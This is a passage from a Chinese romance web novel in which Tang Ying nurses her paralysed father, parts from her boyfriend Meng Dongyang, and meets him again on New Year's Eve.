唐盈汲取到最重要的两个字——陪伴。 彭文君一到周末就赶回青阳,在医院待一个周末,替换唐盈,让她回家休息。姐妹俩都上心,翟莉内心宽慰许多。 这天大家都在,翟莉把近日来的医院账单拿出来给唐盈看,扣除医保,花费的钱不算太多,往后的医疗费用,唐正光的工资基本上能对付,但是护工这一块,费用高,还无法报销,需要大家拿出个态度。 翟莉的意思是,先从她跟唐正光的积蓄里拿,再往后,或许就需要两姐妹帮忙一起分担。 大家和平友好地协商,看似一切都在走上正轨。 唐盈现在最愿意做的事就是跟爸爸说话。从小时候的烦恼说到现在的生活,过去从来没让他知晓的秘密,对他的感情和抱怨,她事无巨细地说给他听。 她给他播放他年轻时喜欢听的歌,在他睁眼时给他看他意气风发的旧照片。有一回,他听着看着,眼角微微湿润,她立刻把路晨叫来,问爸爸是不是有了情感感知。 她最常说的一句话就是:还认识我吗?要是还记得,你就眨眨眼睛吧。 偶尔老唐恰好眨了眼,她这一天都会很开心。 盛夏来临后,唐正光在大家的悉心照料下,手掌有了抓握的能力,在听见熟悉的声音时,隐约会做出一些微表情反应。 但他在其他方面也有退化的迹象,还有怎么料理都无法彻底防御的褥疮。 这日他肠胃出现问题,护工都差点没了耐心。 孟冬杨来看望,唐盈将他拦在门外,她说:“里面脏。” 时间久了,唐盈的心态平稳了,注意力回归一部分到孟冬杨的身上。 这段时间这个男人对她而言,既是朝夕相伴无微不至的恋人,也是人生关卡不离不弃的盟友。 她对他有感激、有依赖、有歉疚,也滋生出另一个层次的爱。 孟冬杨帮唐盈设计好了她的新房,正安排人装修。 彭芳问唐盈费用的问题,唐盈默认孟冬杨替她负担了。 “他什么时候走?” 唐盈摇了摇头。 彭芳抿唇,“小孟能为你做到这个地步,你要好好想想接下来两个人怎么办才好。” 周日彭文君来换班后,唐盈要孟冬杨陪她去游泳。 唐盈很久没这么放松过了,可惜体力不佳,游了一个来回后就累倒在岸上。 孟冬杨也很久没锻炼了,薄肌的线条是靠少食在维持。 唐盈坐在躺椅上,抱着膝盖看着他:“以前我妈跟我说,要经历事,才能看清楚一个人。我一直在想,我们俩之间,会发生什么事呢。回过头来想,你家里发生事情的时候,我很自私地回避了,因为我默认你们有钱人就该内心强大,我很狭隘,这跟我狭窄的眼界浅薄的生活阅历导致的。但是当我遇到事的时候,你一点也没有躲开。” 他每天陪她东奔西跑,看她崩溃掉眼泪,承受她无数的负面情绪,接受她脱离恋爱的状态,接受他们之间两个月来一次性生活也没有。 他从来没有在任何一个时刻,对她,对现有的情感状态,流露出过任何一点厌倦的情绪。 她在病房里跟她爸爸说话,给她爸爸擦拭、喂水,教爸爸手指精细锻炼时,他经常在一旁耐心地陪伴。 病房里有难闻的气味,堆砌着病人和陪护家属乱成一团的生活杂物,亲戚朋友和医护人员频繁往来,他常常需要忍耐、等待,甚至是需要进行一些人情上的交际,例如要跟唐家的亲戚寒暄打照面。 在唐盈没有顾及到他的时刻,他没有半句怨言。 她要怎么感谢他才好呢。 他对她的好,不是有修养和责任心就能做到的。她知道,他心里有她,他在乎她。 可是他愿意爱现在这样的她,是在做一个向下的选择,她要回馈,就要得向上走。 她没有力气向上走,也没有能力往上爬。他们的心态、生活状态、思维、阅历差距会越来越大。 更不谈他要去往很远的地方。 她忽然好沮丧,为自己没有精力和时间去爱他而沮丧,为自己没有能力去爱他而沮丧。 更为自己终将要失去他而心痛。 最遗憾的是,她不能在这种时刻说她也很爱他。 这是很功利的表白,是不适合在这种状态下该进行的表白。 她只能对他说,好累啊,还是算了吧。 “那天我回到家,打开你送我的那条小红花手链,在网上查了下价格,是我两年的工资,我虽然很惶恐,但是心里沾沾自喜。你说得对,认识你之后,我打开了自己的欲望。你对我来说是一个新世界,只可惜我眼界太窄,能力匹配不上欲望,既想要,又自卑,就只能用清高来掩饰我的真心,导致对你的喜欢总是磕磕绊绊的。” 唐盈垂下眼眸,“往后我的生活只会更窄,好多计划会落空,人生的方向也不知道在哪里……” 孟冬杨能听懂唐盈所有的表达,含蓄的、隐晦的、放低姿态的、深刻的、词不达意的、言不由衷的,所有的他都能明白。 她是什么样的女孩,经历过什么样的人生,对生活有什么样的思考,对未来抱有什么期待,一路走来,他全数看在眼里。 他伸出手,捧住她的脸颊,凝视她低垂的眼睛,“不要推开我,我想一直陪着你。” 唐盈的眼泪掉了下来。 从“我想让你陪着我”到“我想一直陪着你”,从冬到夏,从经历背叛到经历变故,一直都是他在守候着她。 “可是会好累啊,孟冬杨,我没有力气去爱你了。分开会让我们都轻松一点。你总是说我恃宠而骄,你能不能再包容我最后一次。我知道你对我好。” 唐盈上班的第一天,教导主任代表校方给了她一笔抚恤款,钱不多,是同事们的一份心意。 中午她赶去医院给爸爸做流食,把这笔钱交给了翟莉。 梅馨马上就要生了,谷瑞安的父母不管,重担落到了翟莉的头上。 翟莉在唐盈面前哭了起来,“那你一个人怎么办?” 唐盈说她妈妈会帮忙分担一点,让翟莉不要想太多。 彭芳买了破壁机,每天一大早去市场买新鲜的食材,回来给唐正光做流食。 日子久了,她也不是一点怨言都没有。 流食日日要做,日日要送,不知道什么时候是个头。 遇到下雨天路况不好的时候,她会对唐盈表达出烦躁的情绪,“我不是为她翟莉做的,我是为你做的。” 见唐盈不吱声,她又问:“那谷瑞安爸妈真就一点也不管梅馨的小孩?” 具体情况唐盈不知道,前几天谷瑞安偷偷塞给她一个红包,说是她一个人守在医院辛苦了。 她没收,也没跟谷瑞安多说话。 孟冬杨给唐盈留了一笔钱,她不知道这算不算是分手费。孟冬杨始终没有回复她分手的提议。 为了安抚妈妈的情绪,唐盈把这笔钱交到她手上。 彭芳被她的这个行为气着了,拍着桌板说道:“我做做饭辛苦什么啦,我是心疼你啊,你年纪轻轻地就耗在这上面了,本来想去读研读不了,恋爱也谈不下去了……” “妈,如果有一天你也动不了了,我也会这样照顾你。” “我不会让自己有这么一天的,我要是生了大病,我就一死了之,我绝对不拖累自己的女儿!” 这天唐盈下班后来到病房,唐正光的被子被掀开了,身下一片混乱,护工不在,她请护士过来,问是什么情况。 护士说,没有几个护士是不偷懒的,这些外包的护工不归医院管,家属不盯,他们平时也不好说什么。 唐盈跟翟莉商量换一个护工,想请一个价格更高人品更好的。 翟莉忙着带外孙,让唐盈自己拿主意。 过去翟莉再忙,一两天也会来看一趟,渐渐的,变成三四天来看一趟,现在,一周下来也见不到她的影子一回。 薛晓慧说夫妻情薄就是如此。 翟莉来的少了,唐久安夫妇和唐家其他几个亲戚自觉地关照起唐盈来,大家轮流来探望陪护,能让唐盈偶尔有个喘息。 大堂姐问唐盈:“小孟就这样走了吗?” 唐盈说他们分手了。 一旁的薛晓慧露出稀松平常的神情,安慰唐盈道:“他能陪你熬过头几个月,算他尽心了。” 唐盈已经很感激他们没在她最难的时候点评她和孟冬杨的事情。现在无论他们要说什么,她都可以接受。 唐久安对她说:“在我们这个小地方生活,亲戚之间的情谊是最重要的。经历了这么一大圈,你应该也成长了不少。” 唐盈明白大哥话里的意思,内心很平静地对他跟大嫂说了句对不起。 这句话对不起落地,她回顾她跟孟冬杨的这一段旅程,觉得就像一场不真实的梦境。 ? 圣塔之夏 第45章 新方向 唐盈正愁找不到有责任心的护工时, 一个五十出头看起来身体强健的男人主动找上门来。 他给唐盈看了他的各项证书,他不仅擅长护理,还懂得帮偏瘫的病人做康复训练, 算是这个行业里的专业人士。 但是他太贵了,唐盈请不起。 男人妥帖地说道:“你就叫我陈叔吧,我的工资问题孟先生已经解决好了。” 孟冬杨支付了陈叔两年的工资,托他悉心照料老唐。让唐盈无法拒绝的理由也提前同陈叔商量清楚。 陈叔对唐盈说, 他有两个还没上大学的小孩要养, 他非常需要赚这份钱。 唐盈向陈叔打探他的具体薪水, 好记下帐, 来日一起偿还。陈叔不肯透露,她只好按特级护工的薪资来计算。 她心里打给孟冬杨的那张欠条,欠款额一直在增加。 新房装修时她去验收,也没有要到任何单据。 苏洋洋的哥哥是开装修公司的,他给唐盈的新房装修做了个估价,说至少花了三十万。 看见唐盈在记账, 刚回国不久的苏洋洋拧眉叹气, “你这恋爱谈的啊……” 苏洋洋从援非医疗队回来后,从青阳二院调到了人民医院妇产科。现在没事就往老唐的病房跑, 每次来都不空手,给唐盈带各种奶茶小零食,还帮着陈叔给老唐做按摩。 这日她在病房里陪唐盈说话, 路晨带了他爸给他炖的鸡汤来给唐盈喝。 路晨对唐盈的心意明眼人都看得出来,尤其是当孟冬杨不再出现后,他不再避嫌, 日日都来关照唐盈。 苏洋洋将路晨拦在办公室门口, “喜欢就表白啊。” 路晨却是摇了摇头。 大家都知道唐盈不可能在这种时候考虑恋爱的事, 也知道她心里有放不下的人。 好太阳的天气,唐盈和陈叔把老唐带到楼下院子里晒太阳。 身体萎缩后的老唐体重从160斤逐渐降到110斤,偶尔陈叔休息不在,唐盈靠自己的力气也能挪动爸爸。 翟莉带着满百天的外孙的来看老唐,握着婴儿车里孩子的小手,告诉他这是生病的外公。 苏洋洋在一旁皱眉毛,“她还真就甩手不管了?这不是谷瑞安爸妈心心念念要的孙子嘛,谷瑞安家里怎么不管?” 梅馨至今都没有跟谷瑞安领证。谷父谷母为了把资产拢在自己手上,在拆迁时选择了拿房,给的四套房都在安置小区,离主城区很远,生活很不便利。 谷瑞安爸妈的意思是,两个儿子各给一套房,说是给,可房本上还是写着他们老两口的名字。谷瑞安的大嫂和梅馨都很不满意。 他爸妈为了把孙子留在家里,想用十万块钱把梅馨安抚住,梅馨觉得他们在打发叫花子,一气之下孩子都不姓谷了,现在跟她姓由她养。 谷瑞安日日夹在中间难做人。 梅馨的甜品店遭遇各种竞争后境况堪忧,近来准备关店。她从外地拉来一个投资商,打算开一个月子中心。她这一折腾起来,带孩子的事就全落在翟莉身上。 苏洋洋说这家子也是鸡飞狗跳。 “梅馨这人真挺神的,烂事做了一大堆,也没多喜欢谷瑞安就给他生孩子,孩子生了又扔给她妈,一整个折腾自己报复全家。” 又问唐盈:“你现在看他们跟这个孩子,心里觉得膈应吗?”她听见翟莉让这孩子叫唐盈小姨,就觉得无比恶心。 唐盈摇了摇头,她早就对这些事无感了。被人情世故困住的时候,她会觉得累,但不再感到痛苦。 “洋洋,外面的世界是什么样的?你还想再出去吗?” “有机会我肯定还要出去的,不然我法语都白学了。这点死工资够什么用啊。” “学法语比英语难吗?” “你又不是不知道,我选上医疗队后去霓城苦学了半年语言后才去非洲的。” 唐盈点点头,“有这段经历特别好吧。” “人嘛,总是走得越远眼界越宽广。”苏洋洋又一摊手,“可是机遇可遇不可求。一晃,我们都二十六了。” 从前把唐盈困在小城的是她的恋爱,现在困住她的是她逃避不了的现实。但是她心里很清楚,能把一个人困住的绝不是一个地方和某个人。 彭文君带着汐汐和弟弟回来给唐盈过生日,订了蛋糕,彭芳烧了一桌子唐盈喜欢吃的菜。 唐盈准备从医院离开时,陈叔拿给她一盒巧克力,祝她生日快乐。 她刚走到电梯口,路晨小跑着过来把她拦下,说耽误她五分钟的时间,要带她去个地方。 唐盈被带到医院天台上的一个小隔间里,这里光线暗淡,像是从日光里隔绝出来的一个暗色空间。 路晨从袋子里拿出一个星星灯,点亮后,两个人的影子打在墙壁上。 “生日快乐。” 唐盈的眼睛被照亮,她的视线从光芒移至路晨明亮的脸上,真挚地说了声谢谢。 路晨并不擅长上演浪漫的桥段,他微微羞涩地说:“即使站在黑暗里,还是希望你能拥有光。你总要走出这间屋子的,你看看,外面的天气真好。唐盈,你的人生会好的。” 路晨把路让开,让唐盈先踏出了这间黑暗的屋子。 外头的日光真的很刺眼,她生日这天,是个好晴天。 新一岁,新希望,她伸手触了触暖阳,盼望着,心里也可以早点变得明亮。 晚上和姐姐躺在床上时,唐盈告诉彭文君,周昊阳来看过老唐好几次。 彭文君默不作声。 唐盈问:“这半年你每周都回来看爸,应该跟他见过面吧。” 见过的,还不止一次。 周昊阳去医院里陪过她,去车站接过她,两人吃过好几次饭,也在无人的小巷里上演过互相取暖的桥段。 彭文君问:“你觉得我是那种会出轨的人吗?” 唐盈轻轻地呼了口气,“我每天都希望你可以立刻离婚。” 暑假里,汐汐给唐盈打过一次电话,说爸爸对妈妈不好,那周彭文君来,大腿上有拧伤的乌青。 彭文君让唐盈不要告诉彭芳。 在那之后汐汐的手表电话就被没收了。 “姐,是我太没用了,你总是把我护在身后,我却什么也为你做不了。” 彭文君淡声说道:“你跟妈都不需要对我的婚姻负责。” 不离婚,要忍受无性婚姻和一个随时会无能狂怒的丈夫,离了婚,精神和□□都自由了,但是两个孩子再也无法拥有完整的家庭。 女儿似乎渐渐地能理解她,经常会在她独自流泪的时候劝她跟爸爸分开,可是小儿子只会抱着她的腿求妈妈不要丢掉他。 林律师能帮她争取到汐汐的抚养权,但是她想带走弟弟却很难。 她每一天都在煎熬中做抉择。 “那天我跟周昊阳去酒店了,脱掉衣服后,他看见我肚子上的剖腹产伤痕,立刻就出戏了。我也出戏了,他是突然反应过来,我已经跟别的男人生过两个小孩了,我也突然反应过来,我想找个男人发泄欲望,这个人就一定要是前男友吗?十年过去了,我跟他之间哪还有什么爱情,不过是一点遗憾罢了。” 彭文君自嘲道:“连出轨都不敢找个更优质的男人,还要去吃回头草,我好鄙视我自己。” 唐盈从背后把姐姐抱住,“爸的身体每一天都在萎缩,器官也开始衰竭了,医生说他坚持不了太久了。爸要是走了,我就没什么负担了,你离婚吧,我帮你带小孩,让他们跟着我念书,你去过你想过的生活。” “你说什么傻话,你又不是为我跟爸妈活着的。”彭文君转过身来看着唐盈,“我离婚是迟早的事,汐汐和弟弟我也会带好,你跟妈都不用为我操心。” 她问道:“你跟孟冬杨还有联系吗?” 在唐盈看来,她跟孟冬杨算是和平分手。 他们没有删掉对方的联系方式,今天早上,孟冬杨发来一句“生日快乐”,她也客气地回复一句“谢谢”。 彭文君问:“就没聊点别的吗?” “能聊什么呢。爸的情况陈叔都会告诉他。” “他工作很忙吗?” “我不知道。”唐盈闭上眼睛,“睡吧,明天我带你去新房看看。” 隔天早上,汐汐和弟弟打开巧克力的盒子,在里面发现一张生日贺卡。巧克力是陈叔送的,生日贺卡上却是孟冬杨的字迹。 唐盈心里疑惑,这是他什么时候写下的? 她把贺卡收进书桌抽屉里,抽屉关上后又打开,把贺卡拿出来,夹在她最近看的书里。 路晨进病房,看见唐盈在看《利息理论》,问她是不是打算考研。 唐盈说待着也是待着,不做点什么事,心里会很空。 近来爸爸睡着的时间越来越长,她来医院四五个小时,有三四个小时他都在昏睡着。 路晨问:“还是打算考在职吗?” 唐盈暂时还没有方向。 这半年她看了很多心理学,得到一些新的感悟。她打算在专业上更精进一点,用这份学习的精力去抵消痛苦,去填补生活中的不甘心。 如果爸爸真的快要离她而去,那她必须要找到新的生活目标,否则她会一直困在原地。 寒冷的冬天,唐盈在温暖的病房里给老唐读她的专业书。 她也不管爸爸能不能听懂,她一边读一边算题,自己学什么,就让爸爸听什么。 陈叔说,她要是想考精算类研究生,南开、人大、复旦,都是很好的选择。 唐盈淡笑道:“你说的这些我怕是都考不上。” 陈叔鼓励她道:“我看你没问题,我就没见过比你心还静的姑娘。” 第46章 你看看我 翟莉说春节期间要来照顾老唐, 于是唐盈给陈叔放了一周假,让他回去陪妻子和孩子们过年。 除夕当天,大堂姐来病房探望老唐, 问怎么不见翟莉的人影。 唐盈正收拾着杂物柜,稍稍抬了下头,淡声道:“估计走不开吧。” “谷瑞安也放假了吧,他爸妈不带孩子就算了, 他自己也不带?就不能让他丈母娘脱几天手?” 彭芳刚巧来送饭, 接话道:“带孩子哪有那么容易, 八成是翟莉自己不放心把小孩交给小两口。” 大堂姐连忙走过去挽住彭芳的胳膊, “婶婶,他们是没良心的,还是你人好。” 彭芳皮笑肉不笑:“翟莉才是你婶婶,我可不是,我跟老唐都离了多少年了。要不是心疼唐盈,我才懒得天天来。” “只要有唐盈在, 你就是我婶婶。”大堂姐接过彭芳送来的流食, 想自己试试喂给老唐。 彭芳瞧她无从下手,将她拉开, 拿过消了毒的注射器,熟练地把液体食物打进插管里。 她用讥诮的口气对老唐说:“过年咯,可惜你这肠胃吃不了肉了。想吃肉不?想吃你眨眨眼睛。” 说完让唐盈往老唐的嘴里塞了颗薄薄的甜甜的压片糖。 看见这副情形, 大堂姐唉声叹气道:“到头来,还是你们一家三口在一处过年。早知道就不要分开了嘛,小叔要是不娶翟莉, 兴许就不会发生后来这些事。” 彭芳担心唐盈听了这些话心里不好难受, 让她去把自己带来的香肠和牛肉拿去分给今天值班的医护人员。 唐盈出门后, 大堂姐继续说道:“这就是命,小叔沾上那对母女,把唐盈的婚事给搅和没了,以为遇到了孟冬杨,你们日子能好过了,结果小叔又出事了,你看现在唐盈……” 彭芳打断她的话,嗤笑道:“我们家唐盈现在挺好的,她给她爸爸尽孝是应该的。她有我,有她姐姐,还有这么多关心她的朋友,以后她肯定会越来越好。有没有孟冬杨,她都能把自己的日子过好。” 护士长见到唐盈后逗她,说路医生为了陪她,几周前排班的时候就特地要求除夕夜值班。 唐盈已经解释过多次,她跟路晨只是正常的医患关系,可大家总有自己的想法。 “路医生在办公室呢。”护士长提醒唐盈。 另一个护士打趣说:“还用得着唐盈去找他嘛,等他事情做完,肯定就自觉地往唐盈爸爸的病房里钻了。” 路晨查完房,正巧快走到护士站,听到大家开自己跟唐盈的玩笑,知道唐盈脸皮薄,就没往女士们跟前凑,待唐盈走到转角后才默不作声地跟上去。 唐盈的帽子被轻轻地扯了下,她回过头,路晨摊开的手掌里有一包葡萄味的跳跳糖。 “哄小孩儿呢。”唐盈笑起来。 “隔壁病房的小孩给的,给你吃吧。” “好多年不吃这个了。” 路晨把糖塞进她衣服口袋里,“我给你带了好东西,等我忙完去找你。” 唐盈点了点头。 彭芳猜到路晨今天会往病房里凑,上午烧菜的时候专门做了一道他喜欢的糖醋里脊。 路晨见状,厚着脸皮留下来跟母女俩一起吃这顿病房里的年夜饭。 三个人围着小桌板上的四菜一汤,没有酒也没有饮料,只安静吃饭,气氛却十分温馨。 彭芳问路晨:“听说你都读博了,那以后应该不会长留在人民医院吧。” “咱们人民医院挺好的。”路晨谦虚地彭芳跟解释了一下学位问题,说博士学位是地方三甲重点科室的标配和门槛,他是硕士进医院后读的在职,算不上多么了不起。 彭芳听不懂这些,坚持认为博士在青阳这个小地方是很厉害的学历。心里闪过一个念头,看了眼闷声吃饭的唐盈,又把这个念头压了回去。 路医生再好,唐盈心里也没有给他的位置了。 吃完收拾好,唐盈打开路晨带给她的那一袋书,看见《概率论与数理统计》的侧面贴着x大图书馆的字样,往下翻,除了几本精算数学的考研通用教材之外,还有《寿险精算》和《风险理论》这种保险专硕的教材。 她暂时还没学到看这些教材的阶段,路晨此举算是将她往前推了一把。 路晨对她说:“不知道你具体想考什么方向,不过看得出来你对精算专业很感兴趣,所以我就托在X大读博的老同学帮忙借了几本书,你可以先看看,了解一下专业细分。” 唐盈道了声谢,说参考完后自己会买教材,寒假结束之前就把书还给他。 “我那里还有英语的复习资料,你要是需要,我也可以拿给你。不过你英语应该还挺不错的吧。” 唐盈皱眉摇头:“我英语很烂。” 路晨噗嗤一笑,“那我给你补补?” 两个年轻人聊着学习上的事,彭芳听不懂,觉得无聊,拿了水果出去洗,顺便去护士站跟护士们闲聊打发时间。 她走到走廊上,看见尽头处站着一个人影,很高,穿着深色的羽绒服,正背对着玻璃门打电话。 她快步走过去,看见很熟悉的背影,听见很熟悉的声音。 她立刻回病房去叫唐盈。 路晨从彭芳嘴里听见这个名字后,放下手里的书离开了病房。他走的时候,唐盈微微蹙着眉头在收拾手边的书。 彭芳推了唐盈一下,“你快去啊。” “知道了。”唐盈的语气非常轻,却仍能听出焦躁的情绪。书本被她横七竖八地塞进纸袋里。 出病房之前,唐盈快速地洗了手,擦手的时候看了眼镜子,忽然间有些不认识自己了。 她好像很久没有特意地看过镜子里自己的脸。 她这一刻才发现自己的头发长长了一些,刘海也因没有修剪而看起来毫无层次。 她胡乱地扎了个马尾,戴上一个口罩,往走廊尽头走去。 孟冬杨双手撑在栏杆上,视线落在楼下花园里的积雪上。 他很专注地在思考,唐盈的绯闻男友路医生什么时候才能离开那间病房。 突然,听见一道急促的脚步声,他回了头,唐盈的影子在同一时刻停在了玻璃门里,她的半张脸藏在口罩里,露出来的眼睛里透着隐隐的慌张。 唐盈没有跟孟冬杨对视,她上前一步,拉开这道玻璃门,轻声道:“站在外面不冷吗?” 话落手抵着门,侧身站着,意思是请他进来。 孟冬杨顿了两秒钟才迈开腿踏进门里,刚站定,她便把门关上,几乎是贴着墙壁,闷头往病房的方向走去。 进入病房后,唐盈的眼神立刻去找妈妈,有彭芳在,她的注意力就不会集中在一个人身上,就不会显得过于局促和紧张。 可是妈妈不在。 “坐吧。”唐盈压抑着紧张,搬了张凳子请孟冬杨落座。 孟冬杨没有理会唐盈,他径直走到老唐的近处,伸出手,轻柔地握住老唐的手,缓声对他说:“叔叔,我回来看你了。” 他跟唐盈确定关系后就再也没叫过老唐唐主任。自顾自地跟老唐打完招呼后,他站在床侧,抿着唇,一言不发。 唐盈心里像是有一把火在烧一面冰墙,她靠墙站着,看着孟冬杨的侧影,他的视线落在老唐瘦弱的脸颊上,眼神看上去既悲悯又悲伤。 “你吃饭了吗?”唐盈轻声问他。 孟冬杨回头看向唐盈的脸,灯光下,近距离,这张脸终于有了具体的形状。陈叔说她前阵子瘦到了九十斤,她妈妈担心她的身体,费心给她做营养餐,她学习用心,饿的快,食欲这才慢慢好转。 他没有回答唐盈这个问题。 他昨晚落地上海,下午赶到霓城,家门都没进,傍晚时直接开车来了青阳,大过年的,他能去哪儿吃饭呢? 彭芳看了着时间,一刻钟后回到病房里。她把洗好的草莓拿给孟冬杨吃,对他嘘寒问暖起来。 弄清楚孟冬杨的情况后,她让唐盈带孟冬杨回新家里,给他弄点吃的。 唐盈考虑到晚点回医院方便,下楼后开了自己的车。 孟冬杨没坐她的车,开车跟在她后面。 两辆车停在新小区的地下停车场后,唐盈下车问孟冬杨,要不要先去他的房子里看看。 孟冬杨问她:“你们什么时候搬过来的?” “还没正式搬,只是按习俗,新房弄好的第一年,要在新家开火过年。” 孟冬杨顿了顿,说先去她家。 进家门后,唐盈给孟冬杨找了双男士拖鞋,而后径直走进厨房里做饭。 砂锅里有彭芳上午炖的牛肉,热一热就能吃,她打算再炒两个小菜,蒸一点肉圆和香肠。 孟冬杨简单地参观了一下自己的设计成果后,就洗了手,走到唐盈的身后。 他说:“你不是已经吃过了吗,就我一个人吃的话,煮个面就好了。” “大过年的,怎么能就让你吃面呢。”唐盈背对着他,很认真地清洗一把小青菜。 “我来吧。”孟冬杨轻轻地推了下她的肩膀。 唐盈怔住片刻,而后立刻让开了身体,擦了把手,去冰箱里拿别的食材。 唐盈觉得这顿饭应该算是孟冬杨自己做的,因为后来他一点也没让她找到事做。 香肠蒸好了端上桌,孟冬杨问她要不要再吃一点。 这是想让她陪他吃饭的意思。她自己走过去拿了两双碗筷和一个勺子。 她给孟冬杨盛了一碗牛肉汤,让他趁热先喝汤。 孟冬杨尝了一口汤后,看了眼她的下巴,说:“你瘦了。” “体重已经快回到……”她想说,体重快要回到他们刚恋爱的时候了,细想这话有点暧昧,就停了嘴。 孟冬杨往她的碗里放了几块牛肉,“你不评价一下我吗?是瘦了,还是胖了,或是又变老了一点。” 唐盈没有抬头,她说:“你看起来更精神了。” “有吗?”孟冬杨看向她微微低垂的脸,音色深沉起来,“前几天偶然照镜子,我看见我的眼睛上多了一道细纹,才忽然间反应过来,我是个三十二岁的男人了。” “我没有发现,你保养的很好。” “别急着说虚伪的好听话。从在医院的走廊上见到你开始,到现在,两个小时过去了,你没有好好地看过我一眼。” 唐盈当即扬起脸,定定地看着他这双含情凝睇的眼睛。 两个人都静止了,握着筷子和勺子的手静止了,睫毛静止了,呼吸似乎也静止了。 “吃饭吧。”片刻后,唐盈先移开了视线。 沉默了几分钟后,她张口说道:“你过生日那天我忙忘了,抱歉。” 孟冬杨把剩下的半碗汤喝掉,不咸不淡地说:“如果你觉得对我送生日祝福是礼尚往来,那忘了便忘了吧。” 唐盈垂着眼眸拨弄碗里的一块肉,有点丧气地说:“你知道我这个人没良心的。” “你只是对我不好。” “那你就不要回来看我。” “我来看你爸爸的。” 一来一回的违心话说完,唐盈不知道此刻孟冬杨是什么表情,她心里很难受,她藏起了自己隐隐发酸的眼睛,放下筷子,离开了餐桌。 她走到阳台上,从洗衣机里拿出洗好的四件套,扔进烘干机里。 孟冬杨做饭的时候,她拆掉了一套亲戚送的新四件套,打算晚上给他用。他那套房子什么都弄好了,把床铺好,带上洗漱用品就可以去住。 除了正在使用的这个烘干机,这个家其他的家用电器和软装也都是他买的。 烘干机发出声音后,唐盈走到阳台的窗户前,把玻璃窗打开一条缝隙,让冷气吹起来。 她轻轻地呼吸着新鲜空气。 她的心快要闷死了。 【作者有话说】 晚一点二更~ 第47章 别等我了 孟冬杨又吃了一点蔬菜后就结束了这顿晚餐。 他没听见任何动静, 也没看见唐盈的影子,从厨房里出来后,有些茫然地看着这个由他打造的家。 他静静地站了一会儿, 思考着接下来自己该做些什么。 唐盈想踏出阳台的时候,看见孟冬杨站在餐厅和客厅之间的地方出神。 她一瞬间有些恍惚,这个人怎么会出现在这个家里呢。 他的气质跟这个家格格不入。这个家有着非常温馨非常文艺的色调,是根据她的偏好来设计的, 是偏女性化的。 她很早之前跟他提过一嘴, 她说她喜欢原木风格, 但是她妈妈喜欢田园风格, 她理想的家要是能结合这两者就好了。 来验收的那一天,她看出了孟冬杨的巧思,心想他应该为此付出了诸多精力。 当负责软装的人把豆灰绿的沙发和胡桃木的书柜搬进来时,她觉得这几乎跟她理想中的家一模一样。 他心思细到连客厅角柜上的粗陶罐和绿植都亲自挑选好了。边边角角都顾及到,他送给了她一个精致、丰富且完美的家。 处处流露着他的审美的家。 孟冬杨往前走了一步,唐盈的身影被框定在两扇玻璃门之间。她正目光深邃地看着他, 不知道这个姿势保持了多久。 唐盈收回神, 转身把门关上,对他说道:“大过年的就别去住酒店了, 你住这里也可以,去住你那套房子也可以,新床单快要烘干了。” “等会儿我陪你去医院。” 唐盈摇头拒绝:“你好好休息吧。” 烘干机还要再工作一会儿, 唐盈回避跟孟冬杨独处,去到厨房里想收拾一下,进去后听见洗碗机工作的声音, 台面上已经清理地干干净净。 她愣住神, 彭芳在这时发来一张照片。 彭芳召集了两个熟悉的病患家属, 三个人正围在病房里斗地主。 唐盈拧眉打去电话:“不是不让在病房里打牌吗?” “今天是除夕,还不兴人热闹热闹嘛,你别管我了,晚上我留下陪床。” “我等会儿就过去。” “你留在家里陪小孟吧。” 唐盈压低声音,“我陪他做什么,你给我爸陪床又算什么……” “那就让翟莉来!” 唐盈切了橙子拿到客厅里,看见孟冬杨站在书房门口。 “能进去看看吗?”孟冬杨问她。 “当然。” 孟冬杨打开灯,看见书柜里已经添置了不少书,她为数不多的几个玩偶也塞进了侧面的小格子里做装饰。 “喜欢这个书桌吗?”他问。 唐盈说很喜欢,立刻问道:“你一共花了多少钱?” 孟冬杨想起前阵子装修公司的人打来电话,说唐小姐追着他们问费用明细,恨不得一天催十遍。 他扬起眉梢问她:“你是打算还我这笔钱吗?” 唐盈斩钉截铁:“是。” “你打算怎么还?”孟冬杨坐到了书桌前的椅子上。 唐盈走到他近处,声音清晰地对他说:“我知道你不缺钱。我还年轻,只要你愿意等,我总能还得起。” “你要我等你多久呢,一年、两年、还是三年五年十年?” “不用十年那么久。”唐盈侧过身去,避开他的视线,“我打算再多读点书,换个专业……” “不当老师了吗?” 唐盈先回避这个问题,她吞咽一口情绪后,轻声道:“能考上再说吧。” 孟冬杨也将椅子侧了过去。 他从来不问陈叔她爸爸身体状况之外的问题,陈叔有时会随口提一句她最近在做些什么。说的最多的,就是她在看书学习。 她爸爸没出事之前她就已经进入了学习的状态,那时她想调到霓城去,想继续当老师,学习只是为了提升一下学历。 方才在病房门口,听见她跟路医生在谈考研方向,她的态度似乎是对自己没什么信心,但是路医生说到专业细分时,她立刻能纠错,可见她功课做的很足。 孟冬杨伸手从书柜里够了一个唐盈的玩偶,拿在手里把玩,口气轻松地问她:“你跟路医生经常一起学习吗?” 唐盈不打算回答这个问题。 孟冬杨见她不吱声,又问道:“你想要提升自己,是因为他吗?我还没同意分手,你就允许别的男人进入你的生活。” “是因为你。”唐盈有些不耐烦地接了话,“我不逼自己走出这个小城市,我怎么能还清欠你的债呢?” “那你大可直接去赚钱,去私立学校,去培训机构,以你的能力,工作几年,几十万很难存到吗?唐盈,我想听点真心话……” “真心话就是我爸爸快要死了,我快没有爸爸了。”唐盈突然情绪不受控制,意识到自己失态后,她缓声叙述道:“我也不知道自己能做些什么了,七想八想的时候就觉得自己好差劲,口口声声是为了家里人留在这个小地方,结果爸爸没守好,姐姐和妈妈也过得不如意,我什么都做不好……” 唐盈自我埋怨的声音终止在孟冬杨的怀抱里。 她的身体剧烈地起伏着,她拼命地忍着眼泪,不想让这个男人看见自己的脆弱。 孟冬杨轻抚着她的脊背,不停地在她耳边说:“你已经做得很好了,是我不好,是我不好……” 这个拥抱来得及时又牢靠,唐盈抑制着自己的情绪黑洞,努力地想往里面填进去一些柔软的东西,她短暂地抓住了孟冬杨的衣服。 她侧过脸,把耳朵轻轻地靠在他的胸口,“你都三十二岁了,就别等我了吧。” 烘干机停止了工作。唐盈拿出干爽的床单,问孟冬杨想住哪个房间。 孟冬杨说住她的房间。 唐盈自己都还没住过她的新房间,她走进去铺床单,孟冬杨跟进来给她帮忙。 彭芳又打来电话,说翟莉去医院了,她的牌局结束了。 唐盈挂了电话后,认真地给棉被套被罩。 “这是我妈新打的棉花被,有点重,你能盖得习惯吗?”她问孟冬杨。 孟冬杨听见了彭芳的话,问她:“你能留下来陪我吗?” 唐盈继续手上的动作,口气略微有些冷淡,“是要我留下来陪你睡觉吗?” 